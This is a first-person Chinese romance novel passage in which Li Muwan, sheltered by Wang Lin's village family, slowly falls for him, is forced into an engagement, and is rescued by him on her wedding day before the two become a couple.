路途中问过几次,他才勉强开口,每每我唤他恩公时,他似乎总是皱着眉头,他是不喜欢这个称呼? “我叫王林。”这是他第一次与我道了姓名。 王林?我心中暗念,只是他于我有恩,我若直呼其名似有不妥,若往后要借宿他家,以兄长身份唤他更为合适。 “义兄,我叫李慕婉。”见他未答话,我只能解释说:“义兄对我有恩,这段时日,少不了麻烦义兄,婉儿这么称呼,可以吗?” 他仍未应我,而这次我未瞧见他紧蹙的眉,他应该是愿意这么称呼的吧? 一路上相处下来,我对他的好奇又多了几分,若是留在他家,怎么都得住上些时日,倘若家中人不好相与,都与他这般冷漠,倒是有些难。 不过哥哥常说,人不可貌相,他虽冷漠,却非坏人,不若也不会在歹人手中救下我。 若是个狂徒,那么在山洞躲藏那几日,该乘人之危有的是机会,可他没有,可见此人心中正直,是君子也。 接连赶了月余的路才回到他家中,在京城十六年,我从未到乡下走过,原来乡下景致如此别致。 从村口小道一路开满了油菜花,只是我们回来时,似有村民远远便打量着我二人,我有些不习惯,因为这儿的环境让我陌生。 入了小院后,我看见了王林的爹娘,那是很朴实纯善的长辈。 第一眼我便有亲切之感,只是王叔面容带了些许沧桑,想必是为着整个家的活计忙碌奔波。而王婶温柔慈爱,眉眼带着愁色,他们不知我的来历,看见我第一眼,却表现得很是和善。 我在院子等着王家人商议,我不知道王林与父母说了什么,但是他答应我,会让爹娘收留我。 我在院里耐心等着,这小院虽破旧了些,身后是望不尽的竹林,院里晒了些菜干,还有木头与碎屑堆砌,如此看来王家应是以木为生,那王叔便是木匠了。 一个木匠家庭出身,这与我映像中的王林不同,他的气质,实在让我难以与木匠联系在一块。 王家人最终决议收留我,答应我在王家安顿下来。 王婶和王叔热情,替我收拾了新的房间,特意抱了干净的被褥,我很高兴能有落脚之地,只是初来乍到拘谨是难免的。 我听见王林在堂屋与二老的谈笑,原来他是会笑的。 并不像我所见时那么冷漠无情,或许他的冷漠只是因我的到来,扰乱了他的计划,给他徒增了麻烦,又或是他在防备我,故而特意表现如此的? 我猜不准,但我觉得他身上有许多不为人知的,我说不上来是什么感觉。这种感觉不像在京城时面对世家公子的淡漠无畏,而是一种想要探知的兴致。 另外,有趣的是,王婶喊他“铁柱”,这是什么名字? 我带着疑惑,好端端一表人才的少年,如何会叫这么个名字。 王婶说,是因着小时候他体弱多病,故而才取了这么一个糙名,老话说这样好养活。 这倒是听闻祖父说过。 铁柱,这个名字与他…… 还挺奇怪的,可是后来听习惯后,我便把这种想法丢掉了。夜晚的竹林被风刮着,发出难以入眠的声音,我无法安睡,心里念着哥哥。 *** 闲来无事,我瞧见竹林小道上都是春日新开的花卉,正好用来装点小院,这小院布局不错,若是收拾一番,必然焕然一新。 我与王叔提议,把那些杂乱的木枝堆到后院,把前院腾出来,王叔答应了。 若想在王家久留,我寻思着应该找点生计谋生,不能只是倚仗王家的接济,若是能赚些银两,还能补贴王叔王婶。 王林带我到镇子上寄了信,我不知道哥哥在哪,但是我们说好去燕州的,他寻不到我,想必会先去燕州安定下来。 如此我把信寄去燕州,或许能联系上哥哥,以防万一,我还多寄了一封去京城。 王林特意询问了掌柜我寄出去的信,我知道他提防我,至于我的身世,出于私心,我无法与他明说。 第一封信我没有把握哥哥能收到,是以信里并未提及太多,即便他拦下我的信也无妨。 天麓山山匪冲我来的,倘若他们受人之托,却未终人之事,以京城办事的规矩,不会留着天麓山山匪,死人才能保守秘密。若山匪聪明,我与哥哥逃生的事情必然不会告知京城。 那么我与哥哥此刻在京城眼里,已经是死人了。 死人不会对他们有任何威胁,即便如此,我也不能与王林坦言,我不确定他会不会相信我,接受我继续留下王家村。 是以,我隐瞒了身世,即便他话语几次三番有意无意试探,我只能状若不明其意。 *** 王林总是待在自己屋里温书,沉默寡言,我猜想他此次上京赶考不成,必然心有愧疚,倘若他未伸手相救,也不会滞留山上。或许眼下已经完成会试考核。 我接受他对我的防备和堤防,是以那些冷漠与淡然,我都可以视而不见,只是希望借宿王家时日,能为王家出些绵薄之力,以报王林救命之恩,报王家收留之情。 我跟着王婶打理家务,收拾小院,忙活女工,只是希望能偿还王家人的恩情。 王家村村民大部分以采药为生,我想或许能借此谋生。 清平镇物产丰饶,又临港口,诸多外商途径码头,药材销路自是不必担忧,或许我还能借此机遇炼制丹药,丹药所卖价格高,能赚到更多的银子,而王家村外的山头遍地药材,为我炼制丹药也提供了便利。 我用药材炼制的第一批丹药,便是简易的安神香和提神香,王林备考温书伤神,提神香有助于清神醒脑。 可我不知他没有焚香的习惯,他并未领我的情。 不过习惯是可以培养的,我自作主张在他房里点上香,若他不信我,觉得我有旁的心思,大可把提神香拿去药房,一问便知。 白日与花影上山采药,日子过得充实,只是从前习惯夜里与哥哥一同看书辩论,望着漫长寂夜,我又思念哥哥了。 窗台下的山茶传出芳香,我望着院子布置的景致,视线被西厢房一抹光亮吸引,从东厢房窗台看去,能看见王林在烛光下温书的身影。 哥哥从前也是勤勉,可会劳逸结合,与三五好友同窗喝酒听戏对弈诗文,而我住进王家,从未见过王林外出与好友玩乐。 原以为哥哥已是自律勤勉,不想更有甚者。 就是不知他这人才学如何。 清明临近,王家村雨水连下几日,周婶患有腿疾,发作时并不好受,祖父原先的行医手札有记载,我看过一些,可以凭借记忆为周婶治疗缓解疼痛。 为此我让王林陪我到王浩家借医书,田间被雨水浇透了,田埂泥泞难行,我走不习惯,王林放慢脚步,我原以为他不会等我,可过后我才知道,雨水淋湿了他的肩头,而我却未沾半滴雨水。 他虽冷漠,除了性子孤僻一些,不爱说话,却有风度,倒也没有别的短处了。 周婶最近要给王林议亲,还要我给意见,我看了画像,都是与我年纪相仿的女子,各有各的好。 我自知成亲要两情相悦,可自古父母之命媒妁之言,我不知他心里如何想的,但是周婶既然开口,我便愿意替她解困。 从三幅画像里挑了个我自认与他最合适的女子,叶清儿。 王叔和周婶都很高兴,家成业立,这是周婶常挂在嘴边的一句话。 他们希望王林考取功名,早日成家,可他错失了机遇,只能再等两年,自是先着手考虑成家一事了。 若王林成家,定然需要银子,王家过得朴素,可王叔以木雕为生,家境不应如此拮据才对,必然是因着王林上京赶考,银子都攒着给他了。 若我能替王家解困,也算报答他的相救之恩。 王叔的木雕手艺精湛,我在京城也瞧过木雕,只是没有见过雕刻的过程,我想王叔能雕一个小像给我,摆在窗台下,王叔说王林也能刻。 我正诧异时,他却冷漠应着,“没空。” 还是这副样子,我早已习惯了。 他要温书,确实也没空给我雕。 往后我白日上山采药,夜里便在他屋里看书,仿若又回到从前在京城与哥哥一块挑灯夜读的时日,我喜欢这种感觉,替他点灯添茶,我能感觉到他也习惯了我的存在。 允我自由出入他的房间,可我除了更换插花,添茶点灯,看书,也没有出入他房间的必要。 无意间我看见他纸张写了吴师道的策问,与他谈论几句,只言片语中,我便知晓他眼界宽阔,对策论的见解读到。 我不能表现太多,为了避免引起他的疑心,我只能隐藏自己的论述,佯装不懂地问了他几个深奥的问题,可他答得严丝合缝。 那一刻我心情变得尤为复杂,以他才学,若是此次入京必定能取得功名,是我连累的他。 之后我上山采药,遇见了花溪村的两个小混混,他们在村口堵住我回家的路。我害怕,与他二人周旋,却发觉二人是听不懂利弊的无赖。 这是除了山匪外,我第一次遇见难缠的混混,以往在京城受了纠缠,只要我说一两句话,他们便能知进退,又或是有哥哥替我解围,此刻我希望哥哥的出现。 我对哥哥的思念达到了极致。 就在我两难之下,昏暗中,一抹熟悉的身影和声音出现,是王林。 我毫无顾忌的跑向他,那是我认为最为安全的位置,至少我知道他不会伤害我。 王林教训了两个登徒子,我才得知这二人是花溪村有名的混混。 只是没过几日,他二人又来村口堵我,本想着绕开他们的,却见有些不对劲,原是葛阳中了蛇毒,恰逢我背篓里采了些清热解毒的药草。 替他解毒不是难事,他二人虽混,可还算仗义,至少葛阳中蛇毒后,许浩愿意替他吸出蛇毒。 不过这是笨蛋才会想出的办法,许浩吸了蛇毒,自身也中了蛇毒,我替二人解毒,与他们商谈了条件,往后不许再在王家村欺负弱小,不许寻我的麻烦。 我以为此事就此作罢,可翌日昏暮,我在村口又遇见了葛阳,第一反应便是他要出尔反尔,他解释来报恩的。 见他没有恶意,又如此热情。 这一幕被王林瞧见,他误认为我与葛阳有牵扯,不听他嘱咐,故而生了我的气。 吃饭时一字未言,脸更臭了,我有些害怕,不敢直视他。 入夜我端了茶水和灯油,在西厢房外唤了几声,没有得到他的回应,他还气着吗? 吃饭时周婶要他与叶清儿相看是否合意,他似乎兴致也不高,我不知他怎么了。 我在厨房帮忙收拾碗筷,王林的身影走近来。 他的眼神透着一股寒意,我害怕躲着视线,为着昨日之事,心有委屈,“义兄是还在责备婉儿吗?” “李慕婉,”王林语气很不好。 他脾气怎的这般大? “义兄.......” “按你的意思,我不该责备,还得感谢你可对?” 他是还因着昨日葛阳的事在与我置气吗? 他还气着。 “婉儿没有这个意思,借住家中已是叨扰,若再给义兄和王叔周婶添麻烦,婉儿心中有愧。”我自知在王家给他们添了不少麻烦,我也在尽可能弥补,把卖出去的药草赚的钱都给周婶补贴了家用。 “若你当真这么想,你不是该搬出去住么?”王林冷漠说。 “什么?”我不明白他的意思。 “既然你那么贴心替我娘给我选了个好姑娘,我既是要成亲了,你一个外人住在我们家,合适吗?”王林敛眸凛声道,将我那点最后的自尊心击溃。 若非无处可去,若非不能与哥哥取得联系,我也不愿意叨扰王家。 周婶操持一生患有腿疾,王叔辛苦大半辈子落下腰伤,本这一切苦累在王林取得功名后都会迎刃而解,是我造成了王家如今的局面。 他怨我怪我也是应当的。 “那你搬出去啊。”王林咄咄逼人之势,让我楞在原地许久。 思虑过后我寻花影问了租房一事,这事必须得赶在王家和叶家定亲前办成,不若即便二人相看成了,难免叶家不会因着王家住进一个外人而嫌弃王家。 我整理好思绪,筹划租房之事,只是进展不大,不过我能处理好,王林知道我在外边寻房子,此事我瞒着王叔周婶,是不想他们责怪王林。 谁知王叔周婶早已商议要认我做女儿,如此名义上我与王林是兄妹,即便叶家也不会说什么。 我不知道王叔周婶为了我愿意做到这般,他们让我叫王林“阿兄”,我只能坦言外出寻找房子一事。 王叔说镇子上有打铁花的节目,王叔让阿兄带我去镇上看,得知清平镇还有这种节目,来王家村许久未感受繁闹的我无比雀跃,我望着阿兄,期待他应下带我一块去。 “没有时间。”阿兄拒绝了。 “铁柱,一个晚上不耽误事的。”周婶劝解他。 我不知他是当真不想去,还是只是不想与我同去。 为了不让他为难,我只能收起失落,宽慰周婶,“阿兄有压力,婉儿也不是很想看的,不要为难他了。” 他并未理我。【你现在阅读的是魔蝎小说 moxiexs】 80、婉儿 我喜欢王家村,喜欢竹林小院,喜欢与王家人相处的日子,王家村朴素的日子似乎一日一日地抹去我在京城生活的记忆,这些记忆在试图取代从前种种。 我撑在窗台下遐思,西厢房的光亮透出小院,阿兄在温书。 我想着晚些再去送茶水,若他还将我挡门外,那就是还气着。 王浩和王卓没多时来小院寻他去镇上看打铁花,原以为阿兄会拒绝,可他爽快应下了。 我从窗台移到屋檐下,与二人打了招呼,期待他们会叫上我一块去,可阿兄率先说:“她不会想去的。” 我颓然垂下眸子,把失落藏起,漾出笑,“阿兄说得对,镇子离得远,回来也要后半夜了,你们玩得尽兴。” 可我仍然期待阿兄会回头看我一眼,唤我一道前去,而他的身影已经出了院门。 王浩再次确认,“你当真不去?” “嗯。”我忍着委屈,闷得难受,却不知这股窒息从何而来,若只是阿兄的态度,这几月我应该早已习以为常了。 可我还是会难过。 他再不喜欢我,防备我,也该不会说了那些狠话后,还这般待我生疏,难不成还是因着我未能搬出去的原因吗? 好在花影来了,我同花影一道去,不是跟着他。若阿兄不喜我跟着,我自个去,他便不会再责怪我了吧。 果然打铁花不论京城还是清平镇,都一样热闹。 人群中,我被一男子纠缠着,慌乱中是阿兄替我解了围,我高兴之余又很害怕他见着我不快。 他并未说别的,拉过我,把我护在身前,他替我出头教训恶徒,却还是面无表情,这种情况下,我并不害怕他了,他在保护我。 我低头隐藏着笑意,一夜的阴霾在这一刻驱散了,有他在我不怕再被人群挤着,我把后背安心的交给他。 烟火四散时,身后隐约传来一道声音,很温柔很温柔。 “好看吗?” 我抬眼看见阿兄分明的轮廓,那双眸子透着柔情,飞散的火花打乱我,是不是看错了? 错觉吗? 铁花再次四散,我忙答道,“好看。” “嗯。” 节目结束后,花影几人要去喝酒,我们遇着叶清儿,这好似还是阿兄与叶清儿第一次相见,我倒是挺想看看木讷的阿兄对上叶清儿会是何种模样。 花影他们也跟着起哄,有点恶趣,但也好玩儿。就算在百松书院里,同窗也会这么取笑那些暗送秋波的少年少女。 只是阿兄对着清儿阿姐怎么还是如此冷冰冰的,花影和我说清儿阿姐该不会被阿兄吓跑了。 可是没有,清儿阿姐面对阿兄时,虽会害羞,却不怯,这点比我之前要强。他们拉着我说话,似乎故意要撇下阿兄和叶清儿,好让他们独处。 也好,反正周婶安排了他们相见的,早几日也无妨。 只是不知为何,阿兄一个人回来,我没看见清儿阿姐,阿兄好像又不高兴了。 花影王浩想让我去王卓家再喝点,可阿兄的表情明显不悦,我也没了兴致,他不去,我也不想去了。 回家路上,我问起二人进展。 阿兄并不大乐意提及,说话时火药味浓得很。 “我成婚,你很高兴?”阿兄的眼神,锁着不快与难受。 这让我陷入困惑,看铁花的时候还好好的,怎么又变了。 “这是喜事,自然高兴。”我不知道他是怎么了,阴晴不定的。 他质问我。 “李慕婉!你替我娘选了叶清儿是觉得我会喜欢她,是吗?” 他的气息压着我,前所未有的压迫,“清儿阿姐人好,又识诗书,与阿兄有话题能谈,又与王家门当户对。” “自是很好的选择。” “阿兄这是怎么了?” 他步步紧逼,诉说心中不快,我只能不断后退。 原是他不喜欢叶清儿,我这才知晓,他也并非只是想要一个门当户对凑合过日子的伴侣。 是我想错了,我总以为他会为了爹娘,接受安排的人,可我忘记了,他的性子,不该是这样的。 “我不想成婚!”这是阿兄与我说得最明白的话。 他说的对,成亲就是该与欢喜之人才对。 可当我想明白时,田埂榻了,落水之际,是阿兄拉住我。 摔入水田的本该是我,他把我护在怀里,他的胸膛很结实。我闻到他身上的酒香,那是我如此近距离的与他贴近,我的心跳动的很快。 田间蛙声在这一刻仿若静止,黑夜里我看不清他的脸,却能感受到他温热的气息,我似乎在贪恋这种接触,晚风打着我的面颊,把那些杂绪吹散。 我故作慌忙整理着衣裳,却发现娘亲送的簪子不见了。 阿兄瞧我着急,又踏进田里寻了多时,凉水浸湿了他的衣裳,我身上却是干的,风袭入时冷意横生,阿兄更不必说。 我藏起失落,装作若无其事的模样,唤着他回去。 阿兄答应为我刻一支簪子,我很高兴。 可娘亲的簪子回不来了,也许这就是天意吧,上天要我接受王家村的一切,忘掉京城的前尘往事,可为何连娘亲的簪子也不给我留。 第二日阿兄替我刻了一支桃木簪,还是莲花样式,我很喜欢。 我把那支簪子看得很重要,不仅仅是因为失去了原有的,而是阿兄特意雕刻送我的。 不知阿兄是不是刻这个簪子累着了,温书时趴在桌上睡着了,这还是我第一次见他如此放松。 我鼓起勇气,鬼使神差的想要端详他,一旦产生这种想法,便仿若抑制不住。 阿兄五官生的俊朗,睡着时眉宇是舒展的,没了平日的凌厉,一副书生清朗温润的气质,这样的他倒是很少见。 我竟然有些痴醉,忍不住想要触碰,指尖划过鼻梁时,是冰凉的,肌肤细腻白皙。竹林的风刮掉了落叶,我从失魂中惊醒,这还是我第一次如此放肆地窥视他。 我自知不对,可却享受这种感觉,此刻的我似踩着一朵白云,飘在碧落中。 自此后,我似乎总喜欢有意无意盯着他五官看,尤其是眼睛,又不敢太过明目张胆。 *** 哥哥一直没有回信,我只能又去镇子等信,燕州来的商船很多,可为何还是没有,我害怕哥哥出事,害怕她不知道我是否安好。 我把一日的希望一点点消耗,攒成失望。那是我第一次如此溃泄,我努力堵住这股难受,我不想哭。 可是越发克制不住,反正也不在竹林小院,或许哭出来就好了,不若回去周婶发觉定会担心的。 正当我发泄时,身后有人唤了我,我只沉浸在悲伤中不能自已。 是阿兄,他怎么在这? 我见着他,满腔的委屈霎时流露,哭得越发泣不成声。 我看见他的手足无措,他定然没有哄过女孩,只会一遍遍说不要哭,谁这么干巴巴安慰人的,有效才怪呢。 我哭得更大声了,好不容易以为有个人能安慰我,阿兄竟是个木头。 但是他与我说了会话,哭过后也没那么难受,就是不知他会如何看我…… 会不会觉着我无用懦弱,爱哭…… 更不喜欢我了…… 马车上几个大哥说着家常,我听不懂,但是日暮前的日落好看,金色裹着麦浪,微风轻抚,把我的难受吹在了绿野上,带到无边的天际,洒回大地。 不过他们口中的青粉楼似乎着实有趣,我忍不住问了阿兄。 “阿兄,青粉楼是做什么的?” 阿兄又不高兴了。 “阿兄?” “喝酒的。” 阿兄被我问烦了。 心里的委屈又荡起,我试图他能明白我此刻需要安慰,不能凶。 故而又提往后叫上花影他们一块去青粉楼喝酒。 可那几个大哥说青粉楼是青楼。 我看了阿兄一眼,他的表情明明是知晓的,却仿若愚弄我,我不确定,又听那几个人说,“你阿兄指不定已经去过了。” 我本该知道他不是那种人,可却忍不住想问,看过去的神情也变了。 阿兄更不高兴了。 我不知道哪里又惹了他,他拉着我下车,可离村口还有好远,我想坐马车…… 索性他已经气着了,我便问,“阿兄当真去过青粉楼吗?” 果然,他生气了。 虽说今日没收到哥哥的信哭了,可阿兄与我说不必搬走,他不相看了,未考取功名前不会成婚,那就意味着我可以一直住在着,至少还有一年多时间。 我居然有些庆幸,是庆幸我能留在王家,不必出去找房子了吗? 回到小院后,阿兄拿了我的木雕小像送我,我才知道是他给我雕的,先前王叔让他刻一个给我,他又不愿意,眼下又肯了。 这会拿出来,是因为我今日哭了么?哄我用的? 那他也不全是个木头嘛,我拿着小像高兴地望着他。仿若在他脸上闪过一丝怪异,是我看错了吗? 夜里我在阿兄房里与他对弈诗文,他兴致比往日都好,他今日似乎心情不错,我说什么他都应着。 我在他的对弈中看见了他的意气风发,许久未从如此酣畅淋漓地讨论诗文了。 灯油尽了,我们都未察觉。屋子很快暗下,窗外的光线微弱,可我对屋子并不算熟悉,尤其是内室,不小心碰撞了桌角,阿兄过来点灯时,我不小心蹭着他了。 我又不慎撞到桌案,惊慌中一只手臂抵住我后腰,气息滚上来,是阿兄身上的味道,我不知该做何反应,心却止不住跳,那是第二次我们贴的这般近,而这次我更是手足无措。 可他却好像毫无反应,我只能仓皇而逃。 回来自己房里,努力回想那时的情景,我看不见他表情,不知他是否会不会又不高兴,该不该解释一下? 这一晚,我睡得并不好。 *** 后来王叔周婶去县城,独留我和阿兄在家。可阿兄也要去镇子,把我一人撇下了,他似乎早就盘算好要丢下我一人,我明明说了害怕一人在家,他并不理会。 我只能去花影家散心,可谢三婶宽慰我,阿兄是为了我的声誉才不愿与我独处。 阿兄正直,我并不害怕他起旁的心思,我只害怕黑,又期望他能回来。 直到夜深就寝时,院外熟悉的声音,是他回来了,那一刻我像被暖阳笼罩,兴奋地去迎他。 他嘴上说着是计划有变,可我总觉得是因为我…… 我想多了吗? 小院里与他独处的时日,我发觉越发想要与他走近,但凡得空我都会到西厢房看书,即使不说话,也好。 白日我还是会上山采药,阿兄回来的早会做好饭等我,若我天黑还未回,他便会到村口等,他什么都没说,见着我到村口,转身走在我前头,也没说特意来等我的。 我故意问他,“阿兄是来等我的么?” “我答应了爹娘,要照看好你。”这是他的说辞。 好吧,虽有些许失落,但还是开心。 又一日,我回家时路遇叶清儿姐妹,叶敏儿因着王家的事有意为难我,我不在意她言语奚落我。 可她句句羞辱阿兄,我心生怒意,势必要与她论道论道,可她趁我无防备时动粗,阿兄来了。 我原以为他会责怪我,可他没有,只是护着我。 什么也没问我,就只是坚定地维护我。 我的脚被叶敏儿推倒时崴了,无法走路,我想要阿兄背我。 他没拒绝,阿兄的背很宽,趴在上面跟哥哥的一样,让我很有安全感,以至于我放下所有防备,在阿兄背上睡着了。 *** 原来我才知晓,看打铁花那夜,他帮我寻回了娘亲留的莲花钗,上面有修复的痕迹,定是寻回后坏了,阿兄才拿去修的。 他原也不是那么木讷,只是不爱表达,可我知晓,他是为着我。 他记着我说过的话,那是娘亲留的遗物。所以他才这般上心,当我细想时,雕像,桃木簪,莲花钗。 又怎不是他的诚意? 当然,这些只是我的猜想。 王叔周婶回来后,阿兄没再去镇上讲学,可家里今日来了不速之客,张屠带人闯进小院,砸坏了家具和花草,药草也都全洒了。 若非张屠大闹一场,我并不知晓王家在外欠了债务,而这债还是王叔为阿兄上京赶考借来的。 因着这几十两,王叔周婶险些被张屠几人打伤。我害怕,可我必须站出来,周婶王叔待我不薄,收留我,照顾我。王家于我有恩,阿兄相救之恩,于情于理我都得护他双亲。 即便张屠等人要拿人命交换,以我性命若能救下二老,我也愿意拼死相护。 经此一事,我更加明白了,阿兄原先的冷漠,或许是自己过不下那道坎,是我让王家陷入如今困境。 可他从未有过责怪之意,反而为了宽慰我,替我上药。 *** 此后,他对我的态度有所缓和。阿兄去竹林采了花,还答应替我寻些花草重新养在院里,他应是为着哄我的吧。 我们一块看了落日,我每问一句话,他都愿意回答我,还会主动带我到树上看落日,只是我不会爬树。 我还在困窘之余,听见阿兄说了一句。 “抱紧。” 抱紧什么?我当时脑子是乱的,可随即阿兄手臂便绕到我腰后,我只觉一阵轻盈,便到了树上。 我心跳的很快,视线移到他身上时,却见他若无其事的望着远处霞光。 我只能把心底的杂绪丢到九霄云外,落日打在他轮廓上,多了几分柔和,阿兄长得很好看。 与云霞一样好看。 我们坐在树枝上,望着天际云霞,时光仿若静止,我很享受这一刻的独处,虽阿兄没有说话,我却觉得我们的心近了。 云霞落后,阿兄跃下树枝,收拾书本准备回家,却要丢下我一个人。 我慌了,连忙喊住他。 “阿兄,我还没下来。” “跳下来。” 可是太高了,我不敢,只能无助的投去目光,明明是他不经我意抱上来的,而今却置之不理,看完落日就翻脸么? 正当我遐想之余,见阿兄张开手臂,嘴角似乎带着若有似无的笑意。 “跳下来,我接着你。” 我楞了一息,并非不信他,只是诧异。 仅仅一息,我跳入阿兄怀里,他稳稳地接住了我。 阿兄的怀抱很温暖,很结实。 回家的路上我与他说话,他也不会爱答不理,阿兄果真变了。 我心里高兴着。 *** 王家村快入冬了,在连续几个月的书信后,我终于收到了哥哥的回信,我每日盼着他,等着他。 我期待见到哥哥,却又失落,又害怕离开王家村,离开竹林小院,离开阿兄…… 我也不知为何会生出这种想法,见到哥哥我是高兴的,在哥哥那得知燕州不能安定时,我第一时间想要劝说哥哥留下来。 哥哥似乎察觉了我的心意,他揭露我的心意,这让我恍惚察觉,自己对阿兄,已经,已经有不同的感情了。 伴随着这种想法,离开与初起的情意交织,让我变得难受与痛苦。 阿兄会不会也有这种感觉,他会舍不得我吗? 离去前夕,阿兄把身份鱼符交还与我,还说从此各不相欠。 我的心,霎时撕裂了。 我忍着委屈,问阿兄往后能不能在回来,他不答我。 阿兄不想我回来…… 阿兄早就想撇掉我这个包袱…… 我想再争取一次。 我鼓起勇气又问阿兄,往后能不能来镇上看看我。 阿兄还是不答。我垂下眸子,暗自伤神。 “若我去了镇子,有空便去看看你。”阿兄应我了,他答应会来看我。 这几日的阴郁,在得到他的许诺,都仿若不存在了。 我和哥哥在镇上开了药铺,我还是会隔山差五回竹林小院,阿兄也没说什么,倒是每次回去的时候,我在堂屋陪着王叔周婶谈话时,阿兄也都一直坐在一旁。 我偷瞄的时候,还看见了阿兄在笑。 不知道他是不是因为我回来开心,还是因为王叔和周婶开心他才开心。 但是王叔周婶见着我开心,那阿兄也就开心了。 既如此,往后我常回来便是。 *** 新年将至,周婶叫我和哥哥去竹林小院过年,我自然愿意的。 我给阿兄带了糖葫芦,哥哥赠了一副棋盘,我还没见阿兄下过棋呢,原是才知道,阿兄的棋艺竟然这般好。 就连哥哥也略输一筹。 雪下大了,夜也深了,临走时,阿兄送了我一枝白梅。 可哥哥提醒我,阿兄是要去京城的人,他若考得功名,便不会再回来。 那是我第一次失声,我知道,从一开始正视我对阿兄这份情意的时候便知道。 只是我从未肖想过什么,阿兄不知我的身世,倘若他知道了,会如何? 哥哥要我放下,我放不下。 若阿兄当真考得功名留在京城,那我便收起这份情意,过好自己的生活,我还是会在清平镇,逃避没有用,欺骗自己也没有用。 我把对阿兄的心意,都宣泄在那场践行的酒水里,那一夜我睡得很沉,仿若做了一个很长很长的梦。 梦见我摁着阿兄,胆大包天的亲了他。 他没有回应我,却搂着我,在我耳边呢喃着我听不清的话,我似乎感受到他身上的温度和气息。 仿若在他怀中睡了一夜,可醒来这些都没有发生,我确定那只是一场梦。 元宵过后阿兄便上京了,京城暗流涌动,尤其是官场,我了解阿兄为人,官场的尔虞我诈,他若看清了,想必会难受。 我不知道他的路会如何,他考了功名,那意味着我们会分道扬镳,我只想让他安心,我承诺替他照顾王叔周婶。 送行时,阿兄替我擦了汗,赶路的疲惫仿若散完了,在一刻成了甜。 “等我回来。” 阿兄紧锁的眉眼舒开,眸子的柔情化了,他是在承诺我。 他说过的话从不会食言的。 等阿兄回来,我记着这句话。 一年来,阿兄寄回的家书,我都替王叔周婶念,又替他们回信。 又是一年,阿兄在京城已经备考一年了。 春日将至,会试来临。 我心里期待着阿兄能考上,又害怕他不会回来。 那种复杂的情绪让我很不好受,直到哥哥与我说,阿兄因李元朗逼婚,身陷京城不得回乡。 是我想简单了,阿兄不过是普通寒门学子,即便考上功名,也无权与世家权势敌对。 而在哥哥的话语中,我获得一条信息。 阿兄在李元朗逼婚时,说家中已有妻子。 是以,阿兄口中的妻子,是我? 是他心中所想?还是为了搪塞而寻得借口? 以阿兄的性子,若非他心中有意,定然不会随意拿女子当做借口。 他待我心诚,我又怎可以一己之私,让他两难。 这让我欣喜又难受。 *** 我与阿兄再见面时,我已是待嫁之人,哥哥陷入药材一案,被县衙困住了人,孙家以私利乘人之危。 我害怕哥哥如当年爹娘一样,只能先答应孙家的要求,此举也并非一无是处,至少能让阿兄知晓。 若阿兄于我有情,那便断了这情,阿兄在京城少些掣肘,能一心一意为朝廷,江山社稷,为万民献策。 成一番凌云之志。 只是我明明已经断了念想,再见他时,心中隐藏已久的情愫奔涌而出,我还是想争取,想留下他,想告诉他,那并非是我心意。 可我不能如此自私。 我不想他来参加大婚典礼,不想让他看见我嫁作他人,可我只能以此试探他的心意。 “恭喜。” 阿兄淡淡的一句恭喜,击破了我最后的自尊心。 我想恨他,却发觉可笑自己有何理由恨他…… 孙镇伟狭隘,带我回竹林小院拜见王叔周婶,我知道他另有目的。 可在那能看见阿兄。 他还是如以前一样冷漠。 自始至终他都未曾与我说过一句话,也未正视我。 他不在意我,却又为何要在李元朗面前说自己已有妻子。 我抑住了想要问个彻底的冲动,回到孙家别苑另作打算。 “开门。” 在我伤神时,阿兄出现了。 我不可置信他会深夜攀爬院墙,可那声音是他的。 我看见阿兄站在窗台下,月色与他融为一起。 我不知道他的来意,心中却很开心。 在得知阿兄计划之后,我才知晓阿兄心里一直惦记着我。 他此番回来,是为我。 *** 大婚在即,之后一个月我都没见过阿兄,但是他说过会带我离开,我信他。 大婚当日,阿兄如神临出现在孙府院墙之上,他拉弓时仿若抵挡千军万马的战将,他的箭羽穿破了孙镇伟的发冠。 孙府护卫如云,阿兄虽说武艺高强,可双拳难敌四手,我担心他的安危,孙镇伟带走了我,我听到前院的厮杀,阿兄会没事的吧...... 孙镇伟疯了,他掐住我的脖颈,我感觉到整个身子悬在栏杆处,窒息的感觉上来堵着我,我挣扎不掉。 却听见撕破暗夜的利箭,孙镇伟倒地不起。 “婉儿。”阿兄立在火光前,我看见他的身影,阿兄张开手臂。 “来。” 他从天麓山救我于水火的画面,在王家村一次次替我解围,离乡时的允诺,诸多回忆滚滚而来,阿兄一次次护我在怀,这就是他,心意都藏在行动中。 我毫无顾忌地纵身跃下,跌入他的怀中。 在他面前,我可以完完全全地将自己交给他,这是我对他的信任。 那是他第一次如此紧紧的搂着我,我能感受到他颤抖的力量,他似乎怕我碎了,抱着不愿松手。 往日的委屈都不重要了。 他哄着我,念着我家书里说的话,原来他把我家书上的碎碎念都记住了。 以往我不知道他对我的感情深到何种地步,但是我看到他身上的伤,他把我看得比他自己还重要。 “不是说好等我回来吗,不作数?” 原来他一直都记着。 我潸然泪下,把那些委屈尽数扑入阿兄怀中,我毫无保留的倾诉自己的情感,什么都不重要了。 当阿兄看见我手腕上的伤痕,我看见他眼底骇然的杀意,那是无尽的占有。我享受这样的他,却又怀着一丝恐惧,不可控的阿兄,我从未见过。 阿兄没有让孙镇伟死的痛快,孙镇伟濒临绝望中感受自己的死亡,那是一种残忍的死法。 我不在意阿兄何种手段抱负,睚眦必报也好,以牙还牙也罢,阿兄做什么,我都支持。 阿兄带我回了竹林小院养伤,我们打破了那层薄纱,互表心意。 那晚我得知阿兄辞去了京城官职,是为我,他还求了一道赐婚圣旨。 就在小小的西厢房,曾经我们无数个夜晚相处的地方,约定终身。 *** 他在书铺写话本攒银子,我以为阿兄缺银子用,他却说。 “娶妻不需要攒银子吗?”我难得见他逗趣,他却似乎故意这般打趣我。 我面颊红了,他却面不改色盯着我。 重阳到了,本想邀约阿兄一块去看灯会的,阿兄居然自己先提了。 这是我与阿兄第一次正式二人独处,身份不一样了。 我自然要重视此次约会,故而多打扮了一下,就一下。 阿兄盯着我看时,我还是不习惯,他的视线过于炽热,眼睛里仿若藏了许多话,他话不多,都装在眸子了。 灯火下,我望着他的轮廓,朝他唇瓣轻点,我心跳骤然跳动不止,原本以为我也能像他一样面不改色,是我高估自己了。 可我不想他看出来,索性转身便走,只让阿兄看得见我的背影。 身后的脚步声近了,指尖似乎触碰到一丝温热,是阿兄的手,他的大掌轻轻握住了我的手。 万家灯火,我们沐浴在暖色里,阿兄的手很暖很暖,我的面颊也很烫,只能别开脸,风吹着我的脸,我嘴角始终上扬。 阿兄带我放了河灯,柳岸漆黑,寂静,仿若能听见彼此的声音,我们眼中都透着情愫,我意会到一个信息。 阿兄想要亲我。 